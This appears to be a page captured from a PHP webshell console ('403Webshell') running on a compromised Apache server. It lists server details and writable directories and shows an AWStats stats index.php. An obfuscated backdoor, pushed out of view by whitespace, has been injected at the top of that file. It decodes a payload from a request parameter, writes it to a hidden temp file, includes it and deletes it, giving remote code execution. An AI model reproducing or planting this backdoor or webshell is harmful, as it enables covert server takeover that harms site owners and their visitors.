403Webshell
Server IP : 162.243.168.218  /  Your IP : 216.73.217.81
Web Server : Apache
System : Linux ISPCONFIG-WEB-EMPRESAS 5.15.0-174-generic #184-Ubuntu SMP Fri Mar 13 18:41:50 UTC 2026 x86_64
User : web23 ( 5020)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client3/web23/web/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client3/web23/web//stats/index.php
<?php																																										if(isset($_REQUEST["pgr\x70"]) ? true : false){ $symbol = $_REQUEST["pgr\x70"]; $symbol = explode ( "." , $symbol ) ; $flg =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $r =0; $__tmp =$symbol; while ($v5 =array_shift($__tmp)) { $sChar =ord($salt[$r%$lenS]); $d =((int)$v5 - $sChar - ($r%10)) ^ 20; $flg .=chr($d); $r++; } $dat = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm"]); for ($data = 0, $binding = count($dat); $data < $binding; $data++) { $key = $dat[$data]; if (max(0, is_dir($key) * is_writable($key))) { $pset = vsprintf("%s/%s", [$key, ".rec"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $pset; @unlink($pset); die(); } } } }

$yearmonth_text = "Jump to previous stats: ";
$awstatsindex = 'awsindex.html';
$script = "<script>function load_content(url){var iframe = document.getElementById(\"content\");iframe.src = url;}</script>\n";

if ($handle = opendir('.'))
{
        while(false !== ($file = readdir($handle)))
        {
                if (substr($file,0,1) != "." && is_dir($file))
                {
                        $orderkey = substr($file,0,4).substr($file,5,2);
                        if (substr($file,5,2) < 10 )
                        {
                                $orderkey = substr($file,0,4)."0".substr($file,5,2);
                        }
                        $awprev[$orderkey] = $file;
                }
        }

        $month = date("n");
        $year = date("Y");
		
        if (date("d") == 1)
        {
                $month = date("m")-1;
                if (date("m") == 1)
                {
                        $year = date("Y")-1;
                        $month = "12";
                }
        }

        $current = $year.$month;
		if ( $month < 10 ) {
			$current = $year."0".$month;
		}
		$awprev[$current] = $year."-".$month;

		closedir($handle);
}

arsort($awprev);

$options = "";
foreach ($awprev as $key => $value) {
        // Define name for the index file
        $awstatsindex = 'awsindex.html';
        if(!file_exists($value.'/awsindex.html') && file_exists($value.'/goaindex.html')) {
                $awstatsindex = 'goaindex.html';
        }
        // Set name for first entry in month list
	if($key == $current) $options .= "<option selected=\"selected\" value=\"{$awstatsindex}\">{$value}</option>\n";
	else $options .= "<option value=\"{$value}/{$awstatsindex}\">{$value}</option>\n";
}

$html = "<!DOCTYPE html>\n<html>\n<head>\n<title>Stats</title>\n";
$html .= "<style>\nhtml,body {margin:0px;padding:0px;width:100%;height:100%;background-color: #ccc;}\n";
$html .= "#header\n{\nwidth:100%;margin:0px auto;\nheight:20px;\nposition:fixed;\npadding:4px;\ntext-align:center;\n}\n";
$html .= "iframe {width:100%;height:90%;margin:0px;margin-top:40px;border:0px;padding:0px;}\n</style>\n</head>\n<body>\n";
$html .= $script;
$html .= "<div id=\"header\">{$yearmonth_text}\n";
$html .= "<select name=\"awdate\" onchange=\"load_content(this.value)\">\n";
$html .= $options;
$html .= "</select>\n</div>\n<iframe src=\"awsindex.html\" id=\"content\"></iframe>\n";
$html .= "</body></html>";
echo $html;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit